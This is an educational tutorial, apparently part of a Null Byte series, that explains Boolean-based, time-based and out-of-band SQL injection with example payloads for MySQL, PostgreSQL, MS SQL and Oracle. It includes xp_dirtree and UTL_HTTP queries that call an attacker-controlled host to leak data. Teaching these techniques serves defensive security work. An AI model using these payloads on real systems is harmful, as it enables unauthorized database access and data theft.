For SQL injection, the next step after performing reconnaissance and gathering information about a database is launching an attack. But something seems off .. in the real world, it's usually not quite as simple as passing in a few fragments of SQL code to an input field and seeing all that glorious data displayed right in the browser. This is when more advanced techniques are needed.
So far, in the SQL injection basics and recon guides, we have only covered one category of SQL injection: in-band. This means that an attacker is able to use the same channel to both inject code and gather data.
We saw this with error-based injection where information about the database and error messages were presented to us right in the web application. We also explored union-based attacks in which malicious SQL code was able to be tacked on to legitimate queries to be used to our advantage.
But what if there is no data returned to us? Most web apps (unless they are poorly designed) aren't configured to display errors to users let alone detailed information about the database. This is what inferential, or blind, SQL injection is.
In blind SQL injection, no data is actually transferred between the application and the attacker, so certain techniques need to be employed in order to reconstruct the data. This is usually done by sending different requests and observing the responses and behavior of the database, which can take much longer but is still just as dangerous as classic injection attacks. The two main types of blind SQL injection are Boolean-based and time-based.
Boolean-based SQL injection requires an attacker to send a series of Boolean queries to the database server and analyze the results in order to infer the values of any given field. Let's suppose we have found a field that is vulnerable to blind injection and we want to figure out the username. There are a few important functions that we need to understand in order to do this; Most databases use some variation of these:
- SUBSTRING(string, start, length)
The ASCII() function takes a single character and returns the ASCII value, returning null if the character is zero. SUBSTRING() takes three parameters: a string, the starting position, and the length of the string, and returns the substring. The LENGTH() function returns the number of characters in a string.
Through the use of these functions, we can begin testing for the value of the first character, and once that is ascertained, we can move on to the next one, and so on and so forth, until the entire value (in this case, the username) is discovered. Take a look at the following URL, which we know is vulnerable to injection by inserting the trailing single quote:
Using Boolean exploitation, we can craft the query to be executed on the server to end up looking like this:
SELECT * FROM Users WHERE UserID = '1' AND ASCII(SUBSTRING(username,1,1)) = 97 AND '1' = '1'
Let's break this down. Inner functions always execute first, so SUBSTRING() takes the first character of the username string and limits the length to 1; This way, we can go through each character one at a time until we reach the end of the string.
Next, the ASCII() function runs with the character we just got as its parameter. The rest of the statement is basically just a conditional that reads: if the ASCII value of this character is equal to 97 (which is "a"), and 1=1 is true (which it always is), then the whole statement is true and we have the right character. If this returns false, then we can increment the ASCII value from 97 to 98, and repeat the process until it returns true.
A handy ASCII table can be accessed by typing man ascii in the terminal:
If we knew the username was "jsmith," for example, we wouldn't see true returned until we reach 106, the ASCII value for "j." Once we have obtained the first character of the username, we can move on to the next one by repeating this procedure and setting the starting position of SUBSTRING() to 2.
In order to be certain that our tests are really returning true, we need a way to differentiate between true values and false values. This can be accomplished by utilizing the following query, which will always return false:
SELECT * FROM Users WHERE UserID = '1' AND '1' = '2'
Now we can use this as the baseline for false responses, and compare this to our Boolean injections. If the response from the server is different than this baseline, we can be reasonably confident we have obtained a true value.
The final thing that needs to be done when testing for Boolean-based injection is determining when to stop, that is, knowing the length of the string. Once we reach a null value (ASCII code 0), then we are either done and have discovered the entire string or the string itself contains a null value. We can figure this out by using the LENGTH() function. Let's say the username we were trying to obtain was "jsmith," then the query could look like this:
SELECT * FROM Users WHERE UserID = '1' AND LENGTH(username) = 6 AND '1' = '1'
If this returns true, then we have successfully identified the username. If this returns false, then the string contains a null value and we would need to continue the procedure until another null character is discovered.
Time-based SQL injection involves sending requests to the database and analyzing server response times in order to deduce information. We can do this by taking advantage of sleep and time delay functions that are utilized in database systems. Like before, we can use the ASCII() and SUBSTRING() functions to aid in enumerating a field along with a new function called SLEEP(). Let's examine the following MySQL query sent to the server:
SELECT * FROM Users WHERE UserID = 1 AND IF(ASCII(SUBSTRING(username,1,1)) = 97, SLEEP(10), 'false')
The IF() function takes three parameters: the condition, what returns if the condition is true, and what returns if the condition is false. In this example, we are using the same method that we used for Boolean-based injections as the condition. The whole expression reads like so: if the first character in the username string is "a," then sleep for ten seconds, otherwise return false.
We can then increment the ASCII value until we receive a delayed response from the database, thus determining the correct characters in the username. It is important to choose a value in seconds that is long enough to differentiate between normal server response times.
MySQL also has a function called BENCHMARK() that can be used in time-based injection attacks. It takes the number of times to execute an expression as its first parameter and the expression itself as the second parameter. For example:
SELECT * FROM Users WHERE UserID = 1 AND IF(ASCII(SUBSTRING(username,1,1)) = 97, BENCHMARK(10000000, CURTIME()), 'false')
Basically, this states that if the first character of the username is "a"(97), then run CURTIME() ten million times. CURTIME() returns the current time, but the function that's passed here doesn't really matter; It is important, however, to make sure the function runs enough times to have a significant impact.
PostgreSQL uses the pg_sleep() function:
SELECT * FROM Users WHERE UserID = 1 AND IF(ASCII(SUBSTRING(username,1,1)) = 97, pg_sleep(10), 'false')
MS SQL has a similar function, WAIT FOR DELAY, which can be used in a stacked query:
SELECT * FROM Users WHERE UserID = 1; WAIT FOR DELAY '00:00:10'
Oracle is a bit more challenging, since injecting a sleep function usually needs to be done within a PL/SQL block. PL/SQL is Oracle's extension for SQL that includes elements of procedural programming language. It is unlikely to occur, but the time-based injection would look like this:
BEGIN DBMS_LOCK.SLEEP(15); END;
Inferential SQL injection is a tedious, time-consuming process, but a determined attacker can successfully exploit these flaws in order to reveal data that would otherwise be obfuscated.
The third main category of SQL injection is out-of-band. These attacks work by retrieving information through alternative channels, such as emails, file systems, HTTP requests, or DNS resolutions. Out-of-band SQL injection is useful once all in-band and blind injection methods have been exhausted.
Let's take a look at an example:
And the resulting SQL query:
SELECT * FROM Products WHERE ProductID = 1;
Here is what the malicious request would look like in MS SQL:
SELECT * FROM Products WHERE ProductID = 1; EXEC master..xp_dirtree '\\attacker.test.com\' --
The xp_dirtree stored procedure can be used to list directory contents, and in this example, attacker.test.com is a domain owned by the attacker. Using a stacked query, xp_dirtree executes, and a DNS lookup to attacker.test.com occurs. If the system is vulnerable, the attacker can check DNS logs and view the request.
A similar attack exists for Oracle:
SELECT * FROM Products WHERE ProductID = 1 || UTL_HTTP.request('http://attacker.test.com/') --
UTL_HTTP is a package that allows data to be accessed over HTTP, in this case, from the database to attacker.test.com.
Out-of-band SQL injection can prove useful in certain situations, but it is not very common because it requires certain features to be enabled on the database server. Still, it doesn't hurt to be thorough and try it out if other injection methods have failed.
So far, this series has covered the basics of SQL injection, methods to fingerprint databases, and advanced techniques to greatly improve the chances of a successful attack. Now that we have all of that under our belt, we can begin to explore signature evasion and ways to avoid detection when performing SQL injection.
Want to start making money as a white hat hacker? Jump-start your hacking career with our 2020 Premium Ethical Hacking Certification Training Bundle from the new Null Byte Shop and get over 60 hours of training from cybersecurity professionals.